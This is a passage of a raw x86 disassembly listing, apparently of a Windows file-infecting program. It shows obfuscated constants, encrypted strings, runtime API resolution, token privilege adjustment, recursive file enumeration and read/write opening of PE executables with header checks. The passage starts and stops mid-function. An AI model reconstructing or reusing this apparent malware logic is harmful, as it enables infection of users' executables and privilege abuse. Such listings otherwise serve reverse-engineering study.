jb short loc_43F88D
mov eax, dword_5510A4
add eax, 0FFFFFFEFh
add eax, dword_551128
cmp esi, eax
jz short loc_43F901
push ds:dword_50EA50[esi*4]
call ds:dword_54FC1C
mov edi, ds:dword_448008
mov ds:dword_44B9E0[esi*4], edi
mov edi, [ebp+var_4]
mov ds:dword_4CEA20[esi*4], edi
mov ds:dword_50EA50[esi*4], ebx
jmp short loc_43F935
; ---------------------------------------------------------------------------
loc_43F901: ; CODE XREF: sub_43F79F+133j
mov edi, dword_5512BC
mov edx, [ebp+var_4]
mov ds:dword_4CEA20[edi*4], edx
mov edx, [ebp+var_8]
mov ds:dword_48C320[edi*4], edx
mov ds:dword_50EA50[edi*4], ebx
mov ebx, ds:dword_448008
mov ds:dword_44B9E0[edi*4], ebx
inc dword_5512BC
loc_43F935: ; CODE XREF: sub_43F79F+26j
; sub_43F79F+6Dj ...
pop edi
pop esi
pop ebx
leave
retn
sub_43F79F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43F93A proc near ; CODE XREF: sub_44234E+Bp
; sub_44234E+20p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push edi
push [ebp+arg_0]
push dword_55127C
call ds:dword_44B1AC
mov edi, eax
pop edi
pop ebp
retn
sub_43F93A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43F952 proc near ; CODE XREF: sub_4467C4+1BFp
; DATA XREF: sub_441AE5+126o
var_104 = byte ptr -104h
var_FF = byte ptr -0FFh
push ebp
mov ebp, esp
sub esp, 104h
push esi
push edi
movsx eax, word_551094
sub eax, 3
push eax
push dword_5511A0
push 3
push dword_551164
mov eax, dword_551158
add eax, dword_551190
sub eax, 7
push eax
push 80000000h
push offset dword_4CC330
call ds:dword_54FC18
mov edi, eax
mov eax, dword_5511F8
add eax, 0FFFFFFF4h
add eax, dword_551150
cmp eax, edi
jnz short loc_43F9B0
mov eax, 2Ah
jmp short loc_43FA0F
; ---------------------------------------------------------------------------
loc_43F9B0: ; CODE XREF: sub_43F952+55j
mov eax, dword_551174
dec eax
push eax
lea eax, [ebp+var_104]
push eax
push 0FFh
lea eax, [ebp+var_FF]
push eax
push edi
call ds:dword_448034
mov esi, eax
push edi
call ds:dword_4CDA48
mov eax, dword_55117C
sub eax, 5
cmp esi, eax
jnz short loc_43F9ED
mov eax, 2Ah
jmp short loc_43FA0F
; ---------------------------------------------------------------------------
loc_43F9ED: ; CODE XREF: sub_43F952+92j
movzx eax, [ebp+var_FF]
mov edx, dword_551098
add edx, 1Fh
cmp eax, edx
jge short loc_43FA08
mov eax, 2Ah
jmp short loc_43FA0F
; ---------------------------------------------------------------------------
loc_43FA08: ; CODE XREF: sub_43F952+ADj
movzx eax, [ebp+var_FF]
loc_43FA0F: ; CODE XREF: sub_43F952+5Cj
; sub_43F952+99j ...
pop edi
pop esi
leave
retn
sub_43F952 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43FA13 proc near ; DATA XREF: .data:0055131Co
var_2C = byte ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = word ptr -18h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_4 = dword ptr 0Ch
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 2Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_10]
mov word ptr [ebp+arg_10], ax
mov eax, dword_5510E0
add eax, 0C2h
movsx edx, word_5511BC
add eax, edx
cmp [ebp+arg_4], eax
jnz loc_43FB4B
mov [ebp+var_18], 3
lea eax, [ebp+var_10]
push eax
mov eax, dword_551300
push eax
mov edi, [eax]
call dword ptr [edi+1Ch]
mov [ebp+var_4], eax
mov eax, dword_5510C4
add eax, dword_55119C
sub eax, 10h
cmp [ebp+var_4], eax
jnz loc_43FB47
dec [ebp+var_10]
lea eax, [ebp+var_1C]
push eax
lea esi, [ebp+var_18]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
mov edi, dword_551300
push edi
mov edi, [edi]
call dword ptr [edi+20h]
mov [ebp+var_4], eax
mov eax, dword_55125C
sub eax, 5
cmp eax, [ebp+var_4]
jnz loc_43FB47
lea eax, [ebp+var_20]
push eax
push offset dword_552AA4
mov eax, [ebp+var_1C]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov [ebp+var_4], eax
movsx eax, word_5510AC
add eax, dword_5511B0
sub eax, 0Eh
cmp [ebp+var_4], eax
jnz short loc_43FB3E
lea eax, off_5512FC
mov [ebp+var_8], eax
push eax
mov ebx, [eax]
call dword ptr [ebx+4]
lea eax, [ebp+var_24]
push eax
push offset dword_5529F4
mov eax, [ebp+var_8]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov [ebp+var_4], eax
movsx eax, word_5511AC
sub eax, 6
cmp [ebp+var_4], eax
jnz short loc_43FB2C
lea eax, [ebp+var_2C]
push eax
push offset dword_5529F4
push [ebp+var_24]
push [ebp+var_20]
call sub_43C468
add esp, 10h
mov [ebp+var_28], eax
mov eax, [ebp+var_24]
push eax
mov ebx, [eax]
call dword ptr [ebx+8]
loc_43FB2C: ; CODE XREF: sub_43FA13+F4j
mov eax, [ebp+var_8]
push eax
mov ebx, [eax]
call dword ptr [ebx+8]
mov eax, [ebp+var_20]
push eax
mov ebx, [eax]
call dword ptr [ebx+8]
loc_43FB3E: ; CODE XREF: sub_43FA13+BDj
mov eax, [ebp+var_1C]
push eax
mov ebx, [eax]
call dword ptr [ebx+8]
loc_43FB47: ; CODE XREF: sub_43FA13+55j
; sub_43FA13+8Bj
xor eax, eax
jmp short loc_43FB50
; ---------------------------------------------------------------------------
loc_43FB4B: ; CODE XREF: sub_43FA13+26j
mov eax, 80020003h
loc_43FB50: ; CODE XREF: sub_43FA13+136j
pop edi
pop esi
pop ebx
leave
retn 24h
sub_43FA13 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43FB57 proc near ; CODE XREF: sub_43E491:loc_43E4E0p
; sub_43F4C7+27Dp
var_108 = dword ptr -108h
var_104 = dword ptr -104h
var_FF = byte ptr -0FFh
push ebp
mov ebp, esp
sub esp, 108h
push esi
push edi
mov eax, dword_5511DC
mov edi, eax
add edi, dword_55113C
sub edi, 9
jmp short loc_43FBE5
; ---------------------------------------------------------------------------
loc_43FB74: ; CODE XREF: sub_43FB57+A1j
push offset word_552122
call sub_43AC94
mov [ebp+var_108], eax
push offset dword_552118
call sub_43AC94
push edi
push eax
mov esi, [ebp+var_108]
push esi
lea esi, [ebp+var_FF]
push esi
call ds:dword_50EA28
add esp, 18h
lea eax, [ebp+var_FF]
push eax
push 0
push 100000h
call ds:dword_4CDA38
mov [ebp+var_104], eax
or eax, eax
jz short loc_43FBE4
push eax
call ds:dword_4CDA48
mov eax, dword_551258
add eax, 8
cmp eax, edi
jnz short loc_43FBDD
xor eax, eax
inc eax
jmp short loc_43FC00
; ---------------------------------------------------------------------------
loc_43FBDD: ; CODE XREF: sub_43FB57+7Fj
mov eax, 2
jmp short loc_43FC00
; ---------------------------------------------------------------------------
loc_43FBE4: ; CODE XREF: sub_43FB57+6Cj
inc edi
loc_43FBE5: ; CODE XREF: sub_43FB57+1Bj
movsx eax, word_5511C8
mov edx, dword_5510B4
lea eax, [eax+edx+59h]
cmp edi, eax
jb loc_43FB74
xor eax, eax
loc_43FC00: ; CODE XREF: sub_43FB57+84j
; sub_43FB57+8Bj
pop edi
pop esi
leave
retn
sub_43FB57 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43FC04 proc near ; CODE XREF: sub_443F03+2p
; sub_443F03+9p
var_104 = byte ptr -104h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 104h
push edi
lea eax, [ebp+var_104]
push eax
mov eax, dword_5510F4
sub eax, 2
push eax
movsx eax, word_5511C8
movsx edx, word_551194
add eax, edx
sub eax, 0Eh
push eax
push [ebp+arg_0]
push dword_5511A0
call ds:dword_48BA00
mov edi, eax
mov eax, dword_551184
add eax, dword_551154
sub eax, 0Fh
cmp eax, edi
jnz short loc_43FC80
push offset byte_552113
call sub_43AC94
push eax
lea edi, [ebp+var_104]
push edi
call ds:dword_44802C
push 1
push 43h
lea eax, [ebp+var_104]
push eax
call sub_44757D
add esp, 18h
loc_43FC80: ; CODE XREF: sub_43FC04+4Fj
pop edi
leave
retn
sub_43FC04 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43FC83 proc near ; CODE XREF: sub_43B045+202p
; sub_43B045+263p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
mov ebx, [ebp+arg_4]
mov esi, [ebp+arg_C]
mov eax, [ebp+arg_10]
add eax, edi
add eax, [ebp+arg_18]
mov [ebp+var_4], eax
mov edx, ebx
and edx, esi
mov ecx, [ebp+arg_8]
mov eax, esi
not eax
and ecx, eax
mov eax, edx
or eax, ecx
mov edx, [ebp+var_4]
mov edi, edx
add edi, eax
push [ebp+arg_14]
push edi
call sub_4420F4
add esp, 8
mov edi, eax
add edi, ebx
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn
sub_43FC83 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43FCCD proc near ; CODE XREF: sub_43E491+35Ep
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_44 = byte ptr -44h
var_40 = dword ptr -40h
var_3C = byte ptr -3Ch
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 44h
push ebx
push esi
push edi
call sub_43BC51
mov ebx, dword_551174
add ebx, dword_5511C0
dec ebx
cmp eax, ebx
jnz short loc_43FD03
movsx eax, word_551194
mov edi, eax
add edi, dword_5511E0
sub edi, 0Fh
jmp loc_43FF23
; ---------------------------------------------------------------------------
loc_43FD03: ; CODE XREF: sub_43FCCD+1Dj
call ds:dword_48B9F4
mov [ebp+var_40], eax
push eax
movsx eax, word_5510E4
add eax, dword_551118
sub eax, 9
push eax
push 1F0FFFh
call ds:dword_55002C
mov esi, eax
lea eax, [ebp+var_4]
push eax
push 28h
push esi
call ds:dword_44B080
mov edi, eax
movsx eax, word_5510D8
add eax, dword_55119C
sub eax, 10h
cmp edi, eax
jz loc_43FF23
mov ebx, dword_5511DC
mov edx, dword_551184
sub edx, 8
mov [ebp+ebx*4+var_60], edx
lea eax, [ebp+var_44]
push eax
push 28h
lea eax, [ebp+var_3C]
push eax
mov eax, dword_55117C
add eax, 7
add eax, dword_55116C
push eax
push [ebp+var_4]
call ds:dword_4CEA10
mov edi, eax
mov eax, dword_551114
add eax, dword_5510D4
sub eax, 9
cmp [ebp+arg_0], eax
jz short loc_43FDF7
mov eax, dword_5510F8
sub eax, 4
cmp edi, eax
jnz short loc_43FDBD
mov eax, dword_5510E8
mov edi, eax
add edi, dword_5510D4
sub edi, 0Dh
jmp loc_43FF23
; ---------------------------------------------------------------------------
loc_43FDBD: ; CODE XREF: sub_43FCCD+D9j
mov edi, dword_55114C
sub edi, 5
mov ebx, dword_5510F4
movsx edx, word_5511CC
add ebx, edx
movsx edx, word_55115C
sub edx, 3
cmp [ebp+ebx*4+var_5C], edx
jz loc_43FF23
mov edi, dword_551248
sub edi, 4
jmp loc_43FF23
; ---------------------------------------------------------------------------
loc_43FDF7: ; CODE XREF: sub_43FCCD+CDj
mov eax, dword_55119C
add eax, dword_551270
sub eax, 0Ch
cmp dword_5512B4, eax
jnz short loc_43FE25
mov eax, dword_5511F8
add eax, 3FF9h
push eax
push 40h
call ds:dword_48B9EC
mov dword_5512B4, eax
loc_43FE25: ; CODE XREF: sub_43FCCD+13Ej
lea eax, [ebp+var_44]
push eax
mov eax, dword_5511F4
add eax, 3FFBh
push eax
push dword_5512B4
push 1
push [ebp+var_4]
call ds:dword_4CEA10
movsx eax, word_5510F0
sub eax, 3
cmp dword_5512B0, eax
jnz short loc_43FE66
push 14h
push 0
call ds:dword_48B9EC
mov dword_5512B0, eax
loc_43FE66: ; CODE XREF: sub_43FCCD+188j
push 1
push dword_5512B0
call ds:dword_449008
mov edi, eax
push 0
mov eax, dword_551258
dec eax
push eax
push 1
push dword_5512B0
call ds:dword_48C1E4
mov edi, eax
push 0
mov eax, dword_5512B4
push dword ptr [eax]
push dword_5512B0
call ds:dword_48B9E8
mov edi, eax
push offset byte_5520F7
call sub_43AC94
pop ecx
lea ebx, [ebp+var_10]
push ebx
push eax
movsx ebx, word_55112C
sub ebx, 5
push ebx
call ds:dword_448020
mov edi, eax
mov eax, dword_5510F4
add eax, dword_5510B8
sub eax, 9
mov [ebp+var_14], eax
mov eax, dword_551250
sub eax, 2
cmp edi, eax
jz short loc_43FF23
mov [ebp+var_8], 2
movsx eax, word_55112C
sub eax, 5
push eax
movsx eax, word_5510F0
movsx edx, word_551260
add eax, edx
sub eax, 0Ch
push eax
push dword_5511C0
lea eax, [ebp+var_14]
push eax
push 0
push [ebp+var_4]
call ds:dword_4CD91C
mov edi, eax
loc_43FF23: ; CODE XREF: sub_43FCCD+31j
; sub_43FCCD+7Fj ...
push esi
call ds:dword_4CDA48
push [ebp+var_4]
call ds:dword_4CDA48
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn
sub_43FCCD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43FF3A proc near ; CODE XREF: sub_43FF3A+1B5p
; sub_43FF3A+23Ap ...
var_26C = dword ptr -26Ch
var_268 = byte ptr -268h
var_260 = dword ptr -260h
var_25C = dword ptr -25Ch
var_258 = word ptr -258h
var_256 = word ptr -256h
var_252 = word ptr -252h
var_250 = word ptr -250h
var_24E = word ptr -24Eh
var_248 = dword ptr -248h
var_242 = byte ptr -242h
var_13E = byte ptr -13Eh
var_11A = byte ptr -11Ah
var_119 = byte ptr -119h
var_112 = byte ptr -112h
arg_0 = dword ptr 8
arg_8 = byte ptr 10h
arg_18 = byte ptr 20h
push ebp
mov ebp, esp
sub esp, 26Ch
push ebx
push esi
push edi
xor ebx, ebx
inc ebx
push offset byte_5520EF
call sub_43AC94
push [ebp+arg_0]
push eax
lea edi, [ebp+var_242]
push edi
call ds:dword_50EA28
add esp, 10h
lea eax, [ebp+var_13E]
push eax
lea eax, [ebp+var_242]
push eax
call ds:dword_4CC328
mov [ebp+var_248], eax
movsx eax, word_551140
mov edx, dword_5510E0
lea eax, [eax+edx-7]
cmp [ebp+var_248], eax
jnz loc_44009D
lea eax, [ebp+arg_18]
push eax
lea eax, [ebp+arg_8]
push eax
call ds:dword_54FC10
mov [ebp+var_260], eax
mov eax, dword_55116C
sub eax, 9
cmp [ebp+var_260], eax
jle short loc_43FFCF
lea edi, [ebp+var_268]
lea esi, [ebp+arg_18]
movsd
movsd
jmp short loc_43FFDA
; ---------------------------------------------------------------------------
loc_43FFCF: ; CODE XREF: sub_43FF3A+86j
lea edi, [ebp+var_268]
lea esi, [ebp+arg_8]
movsd
movsd
loc_43FFDA: ; CODE XREF: sub_43FF3A+93j
lea eax, [ebp+var_258]
push eax
lea eax, [ebp+var_268]
push eax
call ds:dword_54EB78
movzx eax, [ebp+var_252]
mov edx, dword_551134
add edx, 591h
movsx ecx, word_5510A0
add edx, ecx
imul eax, edx
movzx edx, [ebp+var_256]
mov ecx, dword_5511F0
add ecx, 0A8B2h
add ecx, dword_55117C
imul edx, ecx
add eax, edx
movzx edx, [ebp+var_24E]
add eax, edx
movzx edx, [ebp+var_258]
mov ecx, dword_5510DC
add ecx, 7E8F9h
imul edx, ecx
add eax, edx
movzx edx, [ebp+var_250]
mov ecx, dword_551218
add ecx, 3Bh
imul edx, ecx
add eax, edx
mov [ebp+var_25C], eax
mov edx, ds:dword_448030
cmp eax, edx
ja loc_440187
sub edx, eax
mov eax, dword_5510E8
add eax, 10D9h
cmp edx, eax
jbe loc_440187
push [ebp+arg_0]
call ds:dword_44800C
mov [ebp+var_26C], eax
jmp loc_440187
; ---------------------------------------------------------------------------
loc_44009D: ; CODE XREF: sub_43FF3A+5Ej
mov eax, dword_55119C
cmp [ebp+eax+var_119], 2Eh
jz loc_44017F
push offset word_5520E6
call sub_43AC94
lea edi, [ebp+var_112]
push edi
push [ebp+arg_0]
push eax
lea edi, [ebp+var_242]
push edi
call ds:dword_50EA28
lea esi, [ebp+var_13E]
sub esp, 140h
mov edi, esp
mov ecx, 9Fh
rep movsw
lea edi, [ebp+var_242]
push edi
call sub_43FF3A
add esp, 158h
jmp loc_44017F
; ---------------------------------------------------------------------------
loc_4400FF: ; CODE XREF: sub_43FF3A+247j
lea eax, [ebp+var_13E]
push eax
push [ebp+var_248]
call ds:dword_449FC8
mov ebx, eax
mov eax, dword_551248
sub eax, 4
cmp eax, ebx
jz short loc_440187
mov eax, dword_55124C
add eax, dword_551200
cmp [ebp+eax+var_11A], 2Eh
jz short loc_44017F
push offset byte_5520DD
call sub_43AC94
lea edi, [ebp+var_112]
push edi
push [ebp+arg_0]
push eax
lea edi, [ebp+var_242]
push edi
call ds:dword_50EA28
lea esi, [ebp+var_13E]
sub esp, 140h
mov edi, esp
mov ecx, 9Fh
rep movsw
lea edi, [ebp+var_242]
push edi
call sub_43FF3A
add esp, 158h
loc_44017F: ; CODE XREF: sub_43FF3A+170j
; sub_43FF3A+1C0j ...
or ebx, ebx
jnz loc_4400FF
loc_440187: ; CODE XREF: sub_43FF3A+135j
; sub_43FF3A+149j ...
pop edi
pop esi
pop ebx
leave
retn
sub_43FF3A endp
; =============== S U B R O U T I N E =======================================
sub_44018C proc near ; CODE XREF: sub_43E491+39p
push edi
push offset dword_5520D0
call sub_43AC94
pop ecx
push eax
call ds:dword_44B598
mov dword_55128C, eax
mov eax, dword_551138
movsx edx, word_551260
add eax, edx
sub eax, 0Ch
cmp dword_55128C, eax
jnz short loc_4401D4
push offset byte_5520C3
call sub_43AC94
pop ecx
push eax
call ds:dword_48C318
mov dword_55128C, eax
loc_4401D4: ; CODE XREF: sub_44018C+2Fj
push offset byte_5520AF
call sub_43AC94
push eax
push dword_55128C
call ds:dword_44B1AC
mov ds:dword_44B5D4, eax
push offset byte_55209D
call sub_43AC94
push eax
push dword_55128C
call ds:dword_44B1AC
mov ds:dword_44B08C, eax
push offset word_55208A
call sub_43AC94
push eax
push dword_55128C
call ds:dword_44B1AC
mov ds:dword_550158, eax
push offset word_55207A
call sub_43AC94
push eax
push dword_55128C
call ds:dword_44B1AC
mov ds:dword_44B084, eax
push offset byte_552069
call sub_43AC94
push eax
push dword_55128C
call ds:dword_44B1AC
mov ds:dword_48C1EC, eax
push offset asc_55205A ; "\v"
call sub_43AC94
add esp, 18h
push eax
push dword_55128C
call ds:dword_44B1AC
mov ds:dword_50EA3C, eax
pop edi
retn
sub_44018C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_440281 proc near ; CODE XREF: sub_43EA2A+1C9p
; sub_43EA2A+238p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push ecx
push edi
lea eax, [ebp+var_4]
push eax
push 20019h
movsx eax, word_5510B0
dec eax
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call ds:dword_44B59C
mov edi, eax
movsx eax, word_55115C
sub eax, 3
cmp eax, edi
jz short loc_4402B8
xor eax, eax
jmp short loc_440303
; ---------------------------------------------------------------------------
loc_4402B8: ; CODE XREF: sub_440281+31j
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_14]
mov eax, dword_5511B0
add eax, dword_5511E8
sub eax, 0Eh
push eax
push [ebp+arg_8]
push [ebp+var_4]
call ds:dword_44804C
mov edi, eax
push [ebp+var_4]
call ds:dword_4CEA08
mov eax, dword_5510C0
movsx edx, word_551234
add eax, edx
sub eax, 5
cmp edi, eax
jz short loc_440300
xor eax, eax
jmp short loc_440303
; ---------------------------------------------------------------------------
loc_440300: ; CODE XREF: sub_440281+79j
xor eax, eax
inc eax
loc_440303: ; CODE XREF: sub_440281+35j
; sub_440281+7Dj
pop edi
leave
retn
sub_440281 endp
; =============== S U B R O U T I N E =======================================
sub_440306 proc near ; DATA XREF: .data:005512F4o
mov eax, 80004001h
retn 18h
sub_440306 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44030E proc near ; CODE XREF: sub_4472A0:loc_4472A3p
var_252 = byte ptr -252h
var_236 = dword ptr -236h
var_114 = byte ptr -114h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
push ebp
mov ebp, esp
sub esp, 254h
push ebx
push esi
push edi
lea eax, [ebp+var_114]
push eax
mov eax, dword_5511D0
sub eax, 3
push eax
movsx eax, word_551110
dec eax
push eax
push 21h
movsx eax, word_5511A8
add eax, dword_551264
sub eax, 3
push eax
call ds:dword_48BA00
mov ebx, eax
mov eax, dword_5510FC
sub eax, 2
cmp eax, ebx
jnz loc_440412
lea eax, [ebp+var_10]
push eax
call ds:dword_4CC530
movzx eax, [ebp+var_6]
movzx edx, [ebp+var_E]
mov ecx, dword_5510DC
add ecx, 0A8B9h
movsx ebx, word_55111C
add ecx, ebx
imul edx, ecx
add eax, edx
movzx edx, [ebp+var_A]
mov ecx, dword_5510E0
add ecx, 59Fh
imul edx, ecx
add eax, edx
movzx edx, [ebp+var_10]
mov ecx, dword_551250
add ecx, 7E8FBh
add ecx, dword_551198
imul edx, ecx
add eax, edx
movzx edx, [ebp+var_8]
mov ecx, dword_551244
add ecx, 35h
imul edx, ecx
add eax, edx
mov ds:dword_448030, eax
movsx eax, word_55115C
movsx edx, word_551240
add eax, edx
sub eax, 3
mov [ebp+var_236], eax
lea esi, [ebp+var_252]
sub esp, 140h
mov edi, esp
mov ecx, 9Fh
rep movsw
lea edi, [ebp+var_114]
push edi
call sub_43FF3A
add esp, 144h
loc_440412: ; CODE XREF: sub_44030E+4Aj
pop edi
pop esi
pop ebx
leave
retn
sub_44030E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_440417 proc near ; CODE XREF: sub_43B045+5AFp
; sub_43B045+61Cp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_0]
mov esi, [ebp+arg_4]
mov eax, [ebp+arg_8]
mov edx, [ebp+arg_C]
not edx
mov ecx, esi
or ecx, edx
xor eax, ecx
add eax, [ebp+arg_10]
add eax, edi
mov edi, eax
add edi, [ebp+arg_18]
push [ebp+arg_14]
push edi
call sub_4420F4
add esp, 8
mov edi, esi
add edi, eax
mov eax, edi
pop edi
pop esi
pop ebp
retn
sub_440417 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_440450 proc near ; CODE XREF: sub_43B045+3CEp
; sub_43B045+43Cp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_0]
mov esi, [ebp+arg_4]
mov eax, [ebp+arg_18]
mov edx, esi
xor edx, [ebp+arg_8]
xor edx, [ebp+arg_C]
add eax, edx
add eax, [ebp+arg_10]
add eax, edi
mov edi, eax
push [ebp+arg_14]
push edi
call sub_4420F4
add esp, 8
mov edi, esi
add edi, eax
mov eax, edi
pop edi
pop esi
pop ebp
retn
sub_440450 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_440485 proc near ; CODE XREF: sub_43C506+239p
var_3200D = byte ptr -3200Dh
var_32008 = dword ptr -32008h
var_32004 = dword ptr -32004h
var_32000 = byte ptr -32000h
var_31FFF = byte ptr -31FFFh
var_31F38 = dword ptr -31F38h
var_31F34 = dword ptr -31F34h
var_31F30 = dword ptr -31F30h
var_31F2C = dword ptr -31F2Ch
var_31F28 = dword ptr -31F28h
var_31F24 = dword ptr -31F24h
var_31F20 = dword ptr -31F20h
var_31F1C = dword ptr -31F1Ch
var_31F18 = dword ptr -31F18h
var_31F14 = dword ptr -31F14h
var_31F10 = dword ptr -31F10h
var_31F0C = dword ptr -31F0Ch
var_31F08 = dword ptr -31F08h
var_31F04 = dword ptr -31F04h
var_31F00 = dword ptr -31F00h
var_31EFC = dword ptr -31EFCh
var_31EF8 = dword ptr -31EF8h
var_31EF4 = dword ptr -31EF4h
var_31EF0 = dword ptr -31EF0h
var_31EEC = dword ptr -31EECh
var_31EE8 = dword ptr -31EE8h
var_31EE4 = dword ptr -31EE4h
var_31EE0 = dword ptr -31EE0h
var_31EDC = dword ptr -31EDCh
var_31ED8 = byte ptr -31ED8h
var_1198 = dword ptr -1198h
var_1194 = dword ptr -1194h
var_1190 = dword ptr -1190h
var_118C = dword ptr -118Ch
var_1188 = dword ptr -1188h
var_1184 = dword ptr -1184h
var_117F = byte ptr -117Fh
var_1080 = dword ptr -1080h
var_107C = dword ptr -107Ch
var_1078 = dword ptr -1078h
var_1074 = dword ptr -1074h
var_1070 = dword ptr -1070h
var_106C = dword ptr -106Ch
var_1068 = dword ptr -1068h
var_1064 = dword ptr -1064h
var_1060 = dword ptr -1060h
var_105C = dword ptr -105Ch
var_1058 = dword ptr -1058h
var_1054 = dword ptr -1054h
var_1050 = dword ptr -1050h
var_C54 = dword ptr -0C54h
var_C50 = dword ptr -0C50h
var_C4C = dword ptr -0C4Ch
var_850 = dword ptr -850h
var_84C = dword ptr -84Ch
var_848 = dword ptr -848h
var_844 = dword ptr -844h
var_840 = dword ptr -840h
var_83C = dword ptr -83Ch
var_440 = dword ptr -440h
var_43C = dword ptr -43Ch
var_438 = dword ptr -438h
var_434 = dword ptr -434h
var_430 = dword ptr -430h
var_42C = dword ptr -42Ch
var_428 = dword ptr -428h
var_424 = dword ptr -424h
var_420 = dword ptr -420h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, 32008h
call sub_44797C
push ebx
push esi
push edi
movsx eax, word_551168
add eax, dword_551208
sub eax, 6
mov [ebp+var_31EE4], eax
push [ebp+arg_8]
push [ebp+arg_4]
mov eax, ds:dword_4CE9F0
lea eax, [ebp+eax+var_31ED8]
push eax
call ds:dword_4CD914
add esp, 0Ch
loc_4404C7: ; CODE XREF: sub_440485+C5j
movsx eax, word_5511BC
movsx edx, word_55123C
add eax, edx
sub eax, 8
push eax
mov eax, dword_551138
add eax, dword_5510BC
sub eax, 3
push eax
push 3
mov eax, dword_55116C
sub eax, 9
push eax
mov eax, dword_551124
add eax, dword_551258
sub eax, 0Ah
push eax
push 0C0000001h
push [ebp+arg_0]
call ds:dword_54FC18
mov [ebp+var_1070], eax
mov ecx, dword_551160
add ecx, 0FFFFFFF2h
add ecx, dword_5510B8
cmp ecx, eax
jnz short loc_440556
inc [ebp+var_31EE4]
mov eax, dword_5510A4
sub eax, 8
cmp eax, [ebp+var_31EE4]
jnz short loc_44054F
push [ebp+arg_0]
call sub_43BCA0
pop ecx
jmp loc_4404C7
; ---------------------------------------------------------------------------
loc_44054F: ; CODE XREF: sub_440485+BAj
xor eax, eax
jmp loc_441A29
; ---------------------------------------------------------------------------
loc_440556: ; CODE XREF: sub_440485+A4j
mov eax, dword_5511E8
add eax, dword_5510C8
sub eax, 7
push eax
push [ebp+var_1070]
call ds:dword_4CEA14
mov [ebp+var_10], eax
add eax, 1FFFFh
add eax, [ebp+arg_8]
push eax
push 0
call ds:dword_48B9EC
mov [ebp+var_4], eax
push dword_5511FC
lea eax, [ebp+var_31EE0]
push eax
push [ebp+var_10]
push [ebp+var_4]
push [ebp+var_1070]
call ds:dword_448034
mov eax, [ebp+var_4]
mov eax, [eax+3Ch]
mov [ebp+var_840], eax
mov eax, [ebp+var_31EE0]
sub eax, 0F8h
cmp [ebp+var_840], eax
ja loc_441A12
mov eax, [ebp+var_840]
add eax, [ebp+var_4]
mov [ebp+var_8], eax
movzx eax, word ptr [eax]
cmp eax, 4550h
jnz loc_441A12
mov eax, [ebp+var_8]
movzx eax, word ptr [eax+5Ch]
movsx edx, word_551180
dec edx
cmp eax, edx
jz loc_441A12
and [ebp+var_1184], 0
mov eax, [ebp+var_8]
movzx edx, word ptr [eax+44h]
mov ecx, dword_5510DC
add ecx, 6
cmp edx, ecx
jnz short loc_440655
mov edx, dword_55121C
add edx, 8
mov [eax+1Ah], dl
cmp dl, 0
jz short loc_440655
movzx eax, word ptr [eax+46h]
mov [ebp+var_31EF4], eax
mov eax, dword_5511E8
add eax, dword_551248
sub eax, 2
cmp [ebp+var_31EF4], eax
jnb loc_441A12
mov [ebp+var_1184], 1
loc_440655: ; CODE XREF: sub_440485+18Fj
; sub_440485+1A0j
mov eax, dword_55113C
movsx edx, word_551168
